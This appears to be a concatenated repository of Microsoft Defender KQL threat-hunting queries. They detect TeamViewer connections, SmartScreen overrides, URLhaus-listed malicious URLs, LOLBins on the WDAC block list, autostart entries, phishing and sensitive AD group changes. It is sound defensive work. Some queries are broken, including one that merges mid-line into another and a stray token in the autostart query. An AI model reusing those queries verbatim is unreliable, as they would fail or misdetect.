Find TeamViewer connections attempts from public IP addresses for specified computer 21 | DeviceNetworkEvents 22 | | where InitiatingProcessFileName == "TeamViewer_Service.exe" 23 | | where RemoteIPType == "Public" 24 | // | where DeviceName == "computer1" 25 | | where RemotePort == 80 26 | | where ActionType == "ConnectionSuccess" 27 | ``` 28 | 29 | 30 | 31 | 32 | ## Category 33 | 34 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 35 | 36 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 37 | |-|-|-| 38 | | Initial access | | | 39 | | Execution | | | 40 | | Persistence | | | 41 | | Privilege escalation | | | 42 | | Defense evasion | | | 43 | | Credential Access | | | 44 | | Discovery | | | 45 | | Lateral movement | | | 46 | | Collection | | | 47 | | Command and control | v | https://attack.mitre.org/techniques/T1436/ | 48 | | Exfiltration | | | 49 | | Impact | | | 50 | | Vulnerability | | | 51 | | Misconfiguration | | | 52 | | Malware, component | | | 53 | 54 | ## See also 55 | 56 | ## Contributor info 57 | 58 | **Contributor:** Alex Verboon 59 | -------------------------------------------------------------------------------- /AdvancedHunting/T1553.005 - Subvert Trust Controls - Mark-of-the-Web Bypass.md: -------------------------------------------------------------------------------- 1 | # T1553.005 - Subvert Trust Controls - Mark-of-the-Web Bypass 2 | 3 | Executables tagged with the MOTW will be processed by Windows Defender SmartScreen that compares files with an allowlist of well-known executables. If the file in not known/trusted, SmartScreen will prevent the execution and warn the user not to run it. 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // A user has overridden a SmartScreen warning and continued to open an untrusted app or a low-reputation URL. 11 | DeviceEvents 12 | | where ActionType == 'SmartScreenUserOverride' 13 | ``` 14 | 15 | ```Kusto 16 | // Defender SmartScreen App Warnings 17 | DeviceEvents 18 | | where ActionType == "SmartScreenAppWarning" 19 | | extend data = parse_json(AdditionalFields) 20 | | extend Experience = parse_json(data).Experience 21 | | project Timestamp, DeviceName, ActionType, FileName,Experience, InitiatingProcessFileName, InitiatingProcessAccountUpn 22 | ``` 23 | 24 | 25 | 26 | ## Category 27 | 28 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 29 | 30 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 31 | |-|-|-| 32 | | Initial access | | | 33 | | Execution | | | 34 | | Persistence | | | 35 | | Privilege escalation | | | 36 | | Defense evasion | v | https://attack.mitre.org/techniques/T1553/005 | 37 | | Credential Access | | | 38 | | Discovery | | | 39 | | Lateral movement | | | 40 | | Collection | | | 41 | | Command and control | | | 42 | | Exfiltration | | | 43 | | Impact | | | 44 | | Vulnerability | | | 45 | | Misconfiguration | | | 46 | | Malware, component | | | 47 | 48 | ## See also 49 | 50 | ## Contributor info 51 | 52 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/URLhaus - Feed - CH.kql: -------------------------------------------------------------------------------- 1 | let urlhaus_feed_CH = (externaldata(url: string ) [@"https://urlhaus.abuse.ch/feeds/country/CH/"] 2 | with (format="txt")) 3 | | where url !startswith "#" 4 | | project url; 5 | urlhaus_feed_CH 6 | // # Dateadded (UTC),URL,URL_status,Threat,Host,IPaddress,ASnumber,Country 7 | | extend data = parse_csv(url) 8 | | extend dateadded = data[0] 9 | | extend url = data[1] 10 | | extend url_status = data[2] 11 | | extend threat = data[3] 12 | | extend host = data[4] 13 | | extend IPaddress = data[5] 14 | | extend ASnumber = data[6] 15 | | extend Country = data[7] 16 | | project-away url, ['data'] -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/URLhaus - URLonly - online.kql: -------------------------------------------------------------------------------- 1 | // retrieve URLs only that are online from URLhaus 2 | // https://urlhaus.abuse.ch/downloads/text_online/ 3 | 4 | let urlhaus_online = (externaldata(url_online: string ) [@"https://urlhaus.abuse.ch/downloads/text_online/"] 5 | with (format="txt")) 6 | | project url_online; 7 | urlhaus_online 8 | -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/URLhaus - devicefileevents.kql: -------------------------------------------------------------------------------- 1 | let urlhaus_recent = (externaldata(payload_url: string ) [@"https://urlhaus.abuse.ch/downloads/text_recent/"] 2 | with (format="txt")) 3 | | project payload_url; 4 | urlhaus_recent 5 | | join (DeviceFileEvents 6 | | where Timestamp > ago (8h) 7 | ) 8 | on $left.payload_url == $right.FileOriginUrl 9 | | project Timestamp, payload_url, DeviceName, ActionType, FileOriginUrl, FileName, SHA256 -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/URLhaus - devicenetworkevents.kql: -------------------------------------------------------------------------------- 1 | let urlhaus_recent = (externaldata(payload_url: string ) [@"https://urlhaus.abuse.ch/downloads/text_recent/"] 2 | with (format="txt")) 3 | | project payload_url; 4 | urlhaus_recent 5 | | join (DeviceNetworkEvents 6 | | where Timestamp > ago (8h) 7 | ) 8 | on $left.payload_url == $right.RemoteUrl 9 | | project Timestamp, payload_url,RemoteIP , DeviceName, ActionType, RemoteUrl, InitiatingProcessFileName -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/URLhaus - domain names.kql: -------------------------------------------------------------------------------- 1 | let urlhaus_hostsfile = (externaldata(domains: string ) [@"https://urlhaus.abuse.ch/downloads/hostfile/"] 2 | with (format="txt")) 3 | | project domains; 4 | urlhaus_hostsfile 5 | | where domains !startswith "#" 6 | | extend data = split(domains,'\t') 7 | | extend domainname = data[1] 8 | | project-away domains, ['data'] -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/URLhaus_database_online.kql: -------------------------------------------------------------------------------- 1 | // Retrieve URLhaus database details - online only 2 | // https://urlhaus.abuse.ch/downloads/csv_online/ 3 | 4 | let urlhaus_recent = (externaldata(payload_url: string) [@"https://urlhaus.abuse.ch/downloads/csv_online/"] 5 | with (format="txt")) 6 | | where payload_url !startswith "#" 7 | | project payload_url; 8 | urlhaus_recent 9 | | extend data = parse_csv(payload_url) 10 | | extend id = data[0] 11 | | extend dateadded = data[1] 12 | | extend url = data[2] 13 | | extend url_status = data[3] 14 | | extend threat = data[4] 15 | | extend tags = data[5] 16 | | extend urlhaus_link = data[6] 17 | | extend reporter = data[7] 18 | | project-away payload_url, ['data'] 19 | -------------------------------------------------------------------------------- /AdvancedHunting/URLHaus/urlhaus - serach mdatp.kql: -------------------------------------------------------------------------------- 1 | let urlhaus_recent = materialize ( 2 | (externaldata(payload_url: string ) [@"https://urlhaus.abuse.ch/downloads/text_recent/"] 3 | with (format="txt")) 4 | | project payload_url 5 | | summarize by payload_url); 6 | search in (DeviceNetworkEvents, DeviceFileEvents, DeviceEvents) 7 | Timestamp > ago(8h) 8 | | where RemoteUrl in(urlhaus_recent) or FileOriginUrl in(urlhaus_recent) 9 | | project $table, Timestamp, DeviceName, RemoteUrl, FileOriginUrl, ActionType -------------------------------------------------------------------------------- /AdvancedHunting/UntrustedWiFiConnections.md: -------------------------------------------------------------------------------- 1 | # Network - Untrusted Wifi Connections 2 | 3 | Use the below query to identify untrusted Wi-Fi connections 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // 'UntrustedWifiConnection' 11 | DeviceEvents 12 | | where ActionType == 'UntrustedWifiConnection' 13 | | extend data = parse_json(AdditionalFields) 14 | | extend AuthenticationMethod = tostring(data.AuthenticationMethod) 15 | | extend WifiConnectionMode = tostring(data.WifiConnectionMode) 16 | | extend IsVulnerableToSpoofing = tostring(data.IsVulnerableToSpoofing) 17 | | extend WifiNetworkName = tostring(data.WifiNetworkName) 18 | | project Timestamp, DeviceName, WifiNetworkName, AuthenticationMethod,WifiConnectionMode,IsVulnerableToSpoofing 19 | | distinct WifiNetworkName, AuthenticationMethod,WifiConnectionMode,IsVulnerableToSpoofing 20 | ``` 21 | 22 | 23 | 24 | ## Category 25 | 26 | This query can be used to detect the following attack techniques and tactics ([see MITRE ATT&CK framework](https://attack.mitre.org/)) or security configuration states. 27 | 28 | | Technique, tactic, or state | Covered? (v=yes) | Notes | 29 | |-|-|-| 30 | | Initial access | | | 31 | | Execution | | | 32 | | Persistence | | | 33 | | Privilege escalation | | | 34 | | Defense evasion | | | 35 | | Credential Access | | | 36 | | Discovery | | | 37 | | Lateral movement | | | 38 | | Collection | | | 39 | | Command and control | | | 40 | | Exfiltration | | | 41 | | Impact | | | 42 | | Vulnerability | | | 43 | | Misconfiguration | | | 44 | | Malware, component | | | 45 | 46 | ## See also 47 | 48 | ## Contributor info 49 | 50 | **Contributor:** Alex Verboon -------------------------------------------------------------------------------- /AdvancedHunting/WDAC BlockList.md: -------------------------------------------------------------------------------- 1 | # WDAC Block List 2 | 3 | Use the below query to identify processes that are on Microsoft's recommended WDAC block list 4 | 5 | --- 6 | 7 | ## Query 8 | 9 | ```Kusto 10 | // WDAC block list - https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules 11 | // Identify processes that are on the WDAC recommended block list 12 | let wdacblock = (externaldata(lolbin: string) 13 | [@"https://raw.githubusercontent.com/alexverboon/MDATP/master/AdvancedHunting/Externaldata/wdacblockrules.txt"] 14 | with (format="txt", ignoreFirstRecord=true)); 15 | DeviceProcessEvents 16 | | where FileName in (wdacblock) or InitiatingProcessFileName in (wdacblock) 17 | | project Timestamp, DeviceName, FileName, InitiatingProcessFileName, InitiatingProcessParentFileName, ProcessCommandLine, InitiatingProcessCommandLine, AccountName, InitiatingProcessAccountName 18 | ``` 19 | 20 | ```kql 21 | // another approach shared by Kim Oppalfens - @TheWMIGuy 22 | let wdacblock = (externaldata(lolbin: string) 23 | [@"https://raw.githubusercontent.com/MicrosoftDocs/windows-itpro-docs/public/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-block-rules.md"] 24 | with (format="txt", ignoreFirstRecord=true)); 25 | wdacblock 26 | | where lolbin has ' ago(2h) 12 | | where ActionType == "Group Membership changed" 13 | | extend Actor = tostring(AdditionalFields ['ACTOR.ACCOUNT']) 14 | | extend ActorUpn = AccountUpn 15 | | extend LegitActor = iff(Actor in (legitadmins),"True","False") 16 | | extend TargetObjectIdentity = iff(AdditionalFields contains "TARGET_OBJECT.USER",AdditionalFields['TARGET_OBJECT.USER'],iff(AdditionalFields contains "TARGET_OBJECT.GROUP",AdditionalFields['TARGET_OBJECT.GROUP'],"undefined")) 17 | | extend TargetObjectType = iff(AdditionalFields contains "TARGET_OBJECT.USER","User",iff(AdditionalFields contains "TARGET_OBJECT.GROUP","Group","undefined")) 18 | | extend Operation = iff(AdditionalFields contains "TO.GROUP","Add",iff(AdditionalFields contains "FROM.GROUP","Remove","Undefined")) 19 | | extend ChangedGroup = iff(Operation == "Add", AdditionalFields['TO.GROUP'],iff(Operation == "Remove", AdditionalFields['FROM.GROUP'],"Undefined")) 20 | | extend IsSensitive = iff( ChangedGroup in (SensitiveGroups) or ChangedGroup in (customSensitiveGroups),"1","0") 21 | | project Timestamp , ActionType,Operation, ChangedGroup,Actor, ActorUpn,AccountSid,LegitActor, TargetObjectIdentity,TargetAccountUpn,TargetAccountDisplayName , TargetObjectType , IsSensitive, DestinationDeviceName, ReportId 22 | | join kind= leftouter(IdentityInfo 23 | | distinct AccountObjectId , AccountUpn, IsAccountEnabled) 24 | on $left. TargetAccountUpn == $right. AccountUpn 25 | | sort by Timestamp 26 | | where LegitActor == "False" 27 | 28 | 29 | 30 | 31 | 32 | // Monitor Active Directory sensitive Group Membership changes 33 | // list of legitimate admins 34 | let legitadmins = dynamic(["Admin"]); 35 | // Active Directory, sensitive groups 36 | let SensitiveGroups = dynamic(["Administrators","Power Users","Account Operators" ,"Server Operators","Print Operators","Backup Operators","Replicators","Network Configuration Operators","Incoming Forest Trust Builders", 37 | "Domain Admins","Domain Controllers","Group Policy Creator Owners","read-only Domain Controllers","Enterprise Read-only Domain Controllers","Enterprise Admins","Schema Admins","Microsoft Exchange Servers" 38 | "Remote Desktop Users","Remote Management Users","DnsAdmins","Protected Users"]); 39 | // Active Directory, custom sensitive groups 40 | let customSensitiveGroups = dynamic(["NLAdmins"]); 41 | IdentityDirectoryEvents 42 | | where Timestamp < ago (2h) 43 | | where ActionType == "Group Membership changed" 44 | | extend Actor = tostring(AdditionalFields ['ACTOR.ACCOUNT']) 45 | | extend ActorUpn = AccountUpn 46 | | extend LegitActor = iff(Actor in (legitadmins),"True","False") 47 | | extend TargetObjectIdentity = iff(AdditionalFields contains "TARGET_OBJECT.USER",AdditionalFields['TARGET_OBJECT.USER'],iff(AdditionalFields contains "TARGET_OBJECT.GROUP",AdditionalFields['TARGET_OBJECT.GROUP'],"undefined")) 48 | | extend TargetObjectType = iff(AdditionalFields contains "TARGET_OBJECT.USER","User",iff(AdditionalFields contains "TARGET_OBJECT.GROUP","Group","undefined")) 49 | | extend Operation = iff(AdditionalFields contains "TO.GROUP","Add",iff(AdditionalFields contains "FROM.GROUP","Remove","Undefined")) 50 | | extend ChangedGroup = iff(Operation == "Add", AdditionalFields['TO.GROUP'],iff(Operation == "Remove", AdditionalFields['FROM.GROUP'],"Undefined")) 51 | | extend IsSensitive = iff( ChangedGroup in (SensitiveGroups) or ChangedGroup in (customSensitiveGroups),"1","0") 52 | | join kind= leftouter(IdentityInfo 53 | | distinct AccountObjectId , AccountUpn, IsAccountEnabled, CloudSid ) 54 | on $left. TargetAccountUpn == $right. AccountUpn 55 | | extend AccountUpn = AccountUpn1 56 | | extend AccountSid = CloudSid 57 | | extend AccountObjectId = AccountObjectId1 58 | | sort by Timestamp 59 | | where IsSensitive == "1" and LegitActor == "False" 60 | | project Timestamp , ActionType,Operation, ChangedGroup,Actor, ActorUpn,LegitActor, TargetObjectIdentity,TargetAccountUpn, AccountUpn, AccountObjectId, AccountSid,TargetAccountDisplayName, IsAccountEnabled , TargetObjectType , IsSensitive, DestinationDeviceName, ReportId 61 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Autostart/Autostart.kql: -------------------------------------------------------------------------------- 1 | 2 | 3 | DeviceRegistryEvents 4 | | where RegistryKey has oje@"Microsoft\Windows\CurrentVersion\Run" 5 | | where RegistryValueData has ".exe" 6 | | project RegistryValueData, RegistryKey 7 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/COVID/covid.kql: -------------------------------------------------------------------------------- 1 | EmailEvents 2 | | where tolower(Subject) matches regex("(?i)(covid|corona.*virus)") 3 | | project Timestamp, Subject , NetworkMessageId , SenderFromAddress, SenderMailFromAddress , RecipientEmailAddress , SenderIPv4 , EmailDirection , DeliveryAction , DeliveryLocation , FinalEmailAction 4 | | join ( EmailUrlInfo 5 | | project NetworkMessageId , Url ) 6 | on NetworkMessageId 7 | | project Timestamp, Subject, Url , NetworkMessageId , SenderFromAddress, SenderMailFromAddress , RecipientEmailAddress , SenderIPv4 , EmailDirection , DeliveryLocation , FinalEmailAction , DeliveryAction 8 | 9 | 10 | EmailEvents 11 | | where Subject contains "corono" or Subject contains "COVID" 12 | 13 | EmailEvents 14 | | where Subject contains "corono" or Subject contains "COVID" 15 | | where AttachmentCount > 0 or UrlCount > 0 16 | | project Timestamp , NetworkMessageId , Subject , DeliveryAction , FinalEmailAction , MalwareDetectionMethod , MalwareFilterVerdict 17 | | join (EmailUrlInfo 18 | | project NetworkMessageId , Url , UrlId ) 19 | on NetworkMessageId 20 | | project Timestamp , Subject , DeliveryAction , FinalEmailAction , MalwareDetectionMethod , MalwareFilterVerdict , Url 21 | 22 | 23 | EmailEvents 24 | | where Subject contains "corona" or Subject contains "COVID" 25 | | where AttachmentCount > 0 or UrlCount > 0 26 | | project Timestamp , NetworkMessageId , Subject , DeliveryAction , FinalEmailAction , MalwareDetectionMethod , MalwareFilterVerdict 27 | | join (EmailAttachmentInfo 28 | | project NetworkMessageId , FileName , FileType , MalwareDetectionMethod , MalwareFilterVerdict, SHA256 29 | ) 30 | on NetworkMessageId 31 | | project Timestamp , Subject , FileName , FileType , SHA256 , DeliveryAction , FinalEmailAction , MalwareDetectionMethod 32 | | where DeliveryAction != "Delivered" 33 | 34 | 35 | EmailEvents 36 | | where Subject contains "corona" or Subject contains "COVID" 37 | | where AttachmentCount > 0 or UrlCount > 0 38 | | project Timestamp , NetworkMessageId , Subject , DeliveryAction , FinalEmailAction , MalwareDetectionMethod , MalwareFilterVerdict , PhishDetectionMethod , PhishFilterVerdict 39 | | join (EmailAttachmentInfo 40 | | project NetworkMessageId , FileName , FileType , MalwareDetectionMethod , MalwareFilterVerdict, SHA256 41 | ) 42 | on NetworkMessageId 43 | | project Timestamp , Subject , FileName , FileType , SHA256 , DeliveryAction , FinalEmailAction , MalwareDetectionMethod , MalwareFilterVerdict , PhishDetectionMethod , PhishFilterVerdict 44 | | where DeliveryAction != "Delivered" 45 | // | summarize count() by FileName, SHA256 46 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Defender/AV Detections.txt: -------------------------------------------------------------------------------- 1 | DeviceEvents 2 | | where ActionType == 'AntivirusDetection' 3 | | project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA1, MD5, AdditionalFields, InitiatingProcessFolderPath, InitiatingProcessId 4 | | summarize count() by Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA1, MD5, AdditionalFields, InitiatingProcessFolderPath, InitiatingProcessId -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Defender/Get AV Scans Run.txt: -------------------------------------------------------------------------------- 1 | DeviceEvents 2 | | where ActionType == 'AntivirusScanCompleted' 3 | | extend ScanTypeIndex=tostring(split(AdditionalFields, ",")[3]) 4 | | extend ScanType=tostring(split(ScanTypeIndex, ":")[1]) 5 | | project Timestamp, DeviceName, ActionType, ScanType -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Defender/Get AV Signature Version.txt: -------------------------------------------------------------------------------- 1 | DeviceFileEvents 2 | | where InitiatingProcessCommandLine contains "MpSigStub.exe" 3 | | extend NewVersion=tostring(split(InitiatingProcessCommandLine, " ")[4]) 4 | | summarize arg_max(NewVersion, *) by DeviceName 5 | | project DeviceName , NewVersion -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Defender/Get Network Protection Events-barchart.txt: -------------------------------------------------------------------------------- 1 | DeviceEvents 2 | | where ActionType == "ExploitGuardNetworkProtectionBlocked" 3 | | extend JsonOut = parse_json(AdditionalFields) 4 | | sort by Timestamp desc 5 | | project Timestamp, DeviceName, InitiatingProcessAccountName, ActionType, 6 | RemoteUrl, InitiatingProcessCommandLine, 7 | JsonOut.IsAudit,JsonOut.Uri 8 | | summarize count() by RemoteUrl 9 | | render barchart -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Defender/Get Network Protection Events.txt: -------------------------------------------------------------------------------- 1 | DeviceEvents 2 | | where ActionType == "ExploitGuardNetworkProtectionBlocked" 3 | | extend JsonOut = parse_json(AdditionalFields) 4 | | sort by Timestamp desc 5 | | project Timestamp, DeviceName, InitiatingProcessAccountName, ActionType, 6 | RemoteUrl, InitiatingProcessCommandLine, 7 | JsonOut.IsAudit,JsonOut.Uri -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/Defender/engine.kql: -------------------------------------------------------------------------------- 1 | // Author: António Vasconcelos 2 | // Twitter: https://twitter.com/anthonws 3 | // This query provides you the latest signature and platform (MoCamp) for Windows Defender AV 4 | // *Changelog* 5 | // V2 - 19/22/2019 6 | // Changed the query to account for the time separation between Signature Updates and Engine Updates. 7 | // Should now reflect properly both Signature and Enginer per machine, in a single line per device. 8 | // If a given machine does not have one of the fields populated, it means that AH does not have data for it, in the last 30 days. 9 | // --------------------------------------------------------------------------------------- // 10 | // Define the time window 11 | // Please note that results will vary depending on startDate since MoCamp updates happen normally once per month 12 | let startDate = ago(30d); 13 | let Signature = 14 | FileCreationEvents 15 | | where InitiatingProcessCommandLine has "MpSigStub.exe" 16 | | where EventTime > startDate 17 | | extend SignatureVersion=tostring(split(InitiatingProcessCommandLine, " ")[4]) 18 | | summarize arg_max(SignatureVersion, EventTime) by ComputerName; 19 | let Engine = 20 | FileCreationEvents 21 | | where FileName == "MsMpEng.exe" 22 | | where FolderPath has @"C:\ProgramData\Microsoft\Windows Defender\Platform\" 23 | | where EventTime > startDate 24 | | extend EngineVersion_Initial=tostring(split(FolderPath, "\\", 5)) 25 | | summarize arg_max(EngineVersion_Initial, EventTime) by ComputerName; 26 | let GroupResults = union Signature, Engine; 27 | GroupResults 28 | //| where ComputerName has "shiriu" 29 | | where EventTime > startDate 30 | | project ComputerName, SignatureVersion, EngineVersion=extract("([0-9].[0-9][0-9].[0-9][0-9][0-9][0-9].[0-9]-[0-9])", 0, EngineVersion_Initial) 31 | | summarize max(SignatureVersion), max(EngineVersion) by ComputerName 32 | | order by max_SignatureVersion asc 33 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/LDAP/LDATP.kql: -------------------------------------------------------------------------------- 1 | 2 | // Tools used to run ldap queries 3 | DeviceEvents 4 | | where ActionType == "LdapSearch" 5 | | summarize count() by InitiatingProcessFileName 6 | 7 | // expand detail information 8 | DeviceEvents 9 | | where ActionType == "LdapSearch" 10 | | project Timestamp , DeviceName , InitiatingProcessFileName, AdditionalFields , InitiatingProcessAccountName 11 | | extend ldap = parse_json(AdditionalFields) 12 | | extend AttributeList = ldap.AttributeList 13 | | extend ScopeOfSearch = ldap.ScopeOfSearch 14 | | extend SearchFilter = ldap.SearchFilter 15 | | extend DistinguishName = ldap.DistinguishedName 16 | | project-away AdditionalFields, ldap -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/LocalAdmins/localadmin.kql: -------------------------------------------------------------------------------- 1 | // find users that logged on with Local Admin rights. 2 | 3 | // find users that logged on with Local Admin rights. 4 | LogonEvents 5 | | where IsLocalAdmin == 1 6 | | extend locallogon = extractjson("$.IsLocalLogon",AdditionalFields, typeof(string)) 7 | | project EventTime , ComputerName, AccountDomain, AccountName , LogonType, ActionType, locallogon -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/MTP/email.kql: -------------------------------------------------------------------------------- 1 | EmailEvents 2 | | summarize count() by FinalEmailActionPolicy 3 | 4 | EmailEvents 5 | | summarize count() by DeliveryAction 6 | 7 | EmailEvents 8 | | summarize count() by DeliveryLocation 9 | 10 | EmailEvents 11 | | summarize count() by EmailDirection 12 | 13 | EmailEvents 14 | | summarize count() by EmailLanguage 15 | 16 | EmailEvents 17 | | summarize count() by FinalEmailAction 18 | 19 | EmailEvents 20 | | summarize count() by FinalEmailActionPolicy 21 | 22 | EmailEvents 23 | | summarize count() by tostring(MalwareDetectionMethod) 24 | 25 | EmailEvents 26 | | summarize count() by tostring(PhishDetectionMethod) 27 | 28 | 29 | EmailEvents 30 | | summarize count() by MalwareFilterVerdict 31 | 32 | EmailEvents 33 | | summarize count() by PhishFilterVerdict 34 | 35 | EmailEvents 36 | | where UrlCount > 0 37 | | project FinalEmailAction , FinalEmailActionPolicy , NetworkMessageId , DeliveryLocation , MalwareFilterVerdict , PhishFilterVerdict 38 | | where DeliveryLocation in ("Junk folder", "Deleted items") 39 | | join ( EmailUrlInfo 40 | | project Url , NetworkMessageId 41 | ) 42 | on NetworkMessageId 43 | | project Url, FinalEmailAction, FinalEmailActionPolicy , DeliveryLocation,MalwareFilterVerdict , PhishFilterVerdict , NetworkMessageId 44 | 45 | EmailEvents 46 | | where PhishDetectionMethod == @"[""ATP Safe Links URL Detonation""]" 47 | 48 | EmailEvents 49 | | where PhishDetectionMethod == @"[""User impersonation""]" 50 | 51 | EmailEvents 52 | 53 | | where PhishDetectionMethod == @"[""Malicious URL reputation""]" 54 | 55 | EmailEvents 56 | 57 | | where PhishDetectionMethod == @"[""Domain impersonation""]" 58 | 59 | 60 | EmailEvents 61 | | where PhishDetectionMethod == @"[""ATP Safe Links URL Detonation""]" 62 | | project NetworkMessageId, DeliveryAction , DeliveryLocation 63 | | join ( EmailUrlInfo 64 | | project Url, NetworkMessageId ) 65 | on NetworkMessageId 66 | | project Url, DeliveryAction , DeliveryLocation 67 | 68 | EmailEvents 69 | | where PhishDetectionMethod == @"["" Malicious URL reputation""]" 70 | | project NetworkMessageId, DeliveryAction , DeliveryLocation 71 | | join ( EmailUrlInfo 72 | | project Url, NetworkMessageId ) 73 | on NetworkMessageId 74 | | project Url, DeliveryAction , DeliveryLocation 75 | 76 | 77 | EmailEvents 78 | | where PhishDetectionMethod == @"[""Malicious URL reputation""]" 79 | | project NetworkMessageId, DeliveryAction , DeliveryLocation 80 | | join ( EmailUrlInfo 81 | | project Url, NetworkMessageId ) 82 | on NetworkMessageId 83 | | project Url, DeliveryAction , DeliveryLocation 84 | -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/SystemGuard/doc.txt: -------------------------------------------------------------------------------- 1 | Attribute 2 | 3 | Data type 4 | 5 | Description 6 | 7 | TpmMachineId 8 | 9 | string 10 | 11 | Unique machine ID derived from the Attestation Identity Key (AIK). This ID changes if the AIK changes, such as when keys are cleared from TPM. 12 | 13 | 14 | 15 | SystemGuardSecurityLevel 16 | 17 | int 18 | 19 | A value from 0 to 700 that reflects the overall device security level based on the state of boot properties as attested by System Guard: 20 | 21 | · 0: TPM, AIK, UEFI secure boot, ELAM, or other critical features are missing or turned off. This value also applies if the device is set to boot in safe mode or WinPE, or has debugging or test modes turned on 22 | 23 | · 100: No Virtualization-based security 24 | 25 | · 200: HVCI and IOMMU off 26 | 27 | · 250: HVCI off 28 | 29 | · 300: IOMMU off 30 | 31 | · 400: DTRM off 32 | 33 | · 500: DTRM on 34 | 35 | · 700: Critical features present and turned on. SMM attestation monitoring turned on (or disabled on ARM) 36 | 37 | TpmVersion 38 | 39 | string 40 | 41 | Version of Trusted Platform Module (TPM) on the device 42 | 43 | ReportValidityStartTime 44 | 45 | datetime 46 | 47 | Date and time that marks when the boot attestation report is considered valid. The attestation report should not be considered valid before this time. 48 | 49 | ReportExpirationTime 50 | 51 | datetime 52 | 53 | Expiration of the boot attestation report. This is automatically set to four days from validity start date. However, a new attestation report should automatically replace existing reports on device reboot. 54 | 55 | ValidationResult 56 | 57 | int 58 | 59 | Result of validation of the cryptographically signed boot attestation report. 0 means the report is valid, while any other value indicates validity errors. 60 | 61 | IsBootDebuggingOff 62 | 63 | boolean 64 | 65 | Indicates whether boot debugging is on or off. This should be off on secure devices. 66 | 67 | IsKernelDebuggingOff 68 | 69 | boolean 70 | 71 | Indicates whether kernel debugging is on or off. This should be off on secure devices. 72 | 73 | IsTestSigningOff 74 | 75 | boolean 76 | 77 | Indicates whether test signing at boot is on or off. This should be off on secure devices. 78 | 79 | IsFlightSigningOff 80 | 81 | boolean 82 | 83 | Indicates whether flight signing at boot is on or off. This should be off on secure devices 84 | 85 | IsDriverCodeIntegrityEnforced 86 | 87 | boolean 88 | 89 | Indicates whether the device booted with driver code integrity enforcement 90 | 91 | IsElamDriverLoaded 92 | 93 | boolean 94 | 95 | Indicates whether the device booted with the Early Launch Antimalware (ELAM) driver loaded 96 | 97 | IsSecureBootOn 98 | 99 | boolean 100 | 101 | Indicates whether the device booted with Secure Boot on 102 | 103 | IsIommuOn 104 | 105 | boolean 106 | 107 | Indicates whether the device booted with IOMMU on 108 | 109 | IsVsmOn 110 | 111 | boolean 112 | 113 | Indicates whether the device booted in virtual secure mode, i.e. with virtualization-based security (VBS) on. 114 | 115 | IsHvciOn 116 | 117 | boolean 118 | 119 | Indicates whether the device booted with hypervisor-protected code integrity (HVCI) 120 | 121 | Pcr0Hash 122 | 123 | string 124 | 125 | Cryptographic hash used by TPM for the PCR0 register, covering measurements for the Authenticated Code Module (ACM) and BIOS/UEFI modules 126 | 127 | WindowsBootManagerHash 128 | 129 | string 130 | 131 | Cryptographic hash of the Windows Boot Manager 132 | 133 | WindowsOSLoaderHash 134 | 135 | string 136 | 137 | Cryptographic hash of the Windows OS Loader 138 | 139 | ElamDriverHash 140 | 141 | string 142 | 143 | Cryptographic hash of the Windows Defender Early Launch Antimalware (ELAM) driver 144 | 145 | ElamDriverPath 146 | 147 | string 148 | 149 | Path to the Windows Defender Early Launch Antimalware (ELAM) driver binary file 150 | 151 | ElamDriverSigner 152 | 153 | string 154 | 155 | Signer of the Windows Defender Early Launch Antimalware (ELAM) driver binary file 156 | 157 | UefiSigners 158 | 159 | string 160 | 161 | List of signing keys used to verify the EFI boot applications, showing the GUID of the signature owner and the signature digest -------------------------------------------------------------------------------- /DemoTools/AdvancedHunting/SystemGuard/sampleoutput.txt: -------------------------------------------------------------------------------- 1 | {"TpmMachineId":"86f279879b2fad5cb4aa06b45be549652e534cc7ae646f411fe5f95ae2c902f2", 2 | "SystemGuardSecurityLevel":200, 3 | "TpmVersion":2,"ReportValidityStartTime":"2019-11-12T08:00:43.0000000Z", 4 | "ReportExpirationTime":"2019-11-16T08:05:43.0000000Z", 5 | "ValidationResult":"Success","IsBootDebuggingOff":true, 6 | "IsKernelDebuggingOff":true,"IsTestSigningOff":true, 7 | "IsFlightSigningOff":true, 8 | "IsDriverCodeIntegrityEnforced":true, 9 | "IsElamDriverLoaded":true,"IsSecureBootOn":true, 10 | "IsIommuOn":false, 11 | "IsVsmOn":true, 12 | "IsHvciOn":false, 13 | "Pcr0Hash":"d1e308b5d0cd8b13fb4371e4495e61bf8d6a352e", 14 | "WindowsBootManagerHash":"123b11eb3418af9c498405969feeacfe78d3e10827ae724f13d3aa7e50b342a4", 15 | "WindowsOSLoaderHash":"9faf743603a14b74bd9ef8796c9313cb947998b9556b36dfc0524254530c6214", 16 | "ElamDriverHash":"75c0d11594dcb88a5bf522a0e83e55dfcca08c831955c505627d29d776513592", 17 | "ElamDriverPath":"\\Windows\\system32\\drivers\\wd\\WdBoot.sys", 18 | "ElamDriverSigner":"Microsoft Windows Early Launch Anti-malware Publisher", 19 | 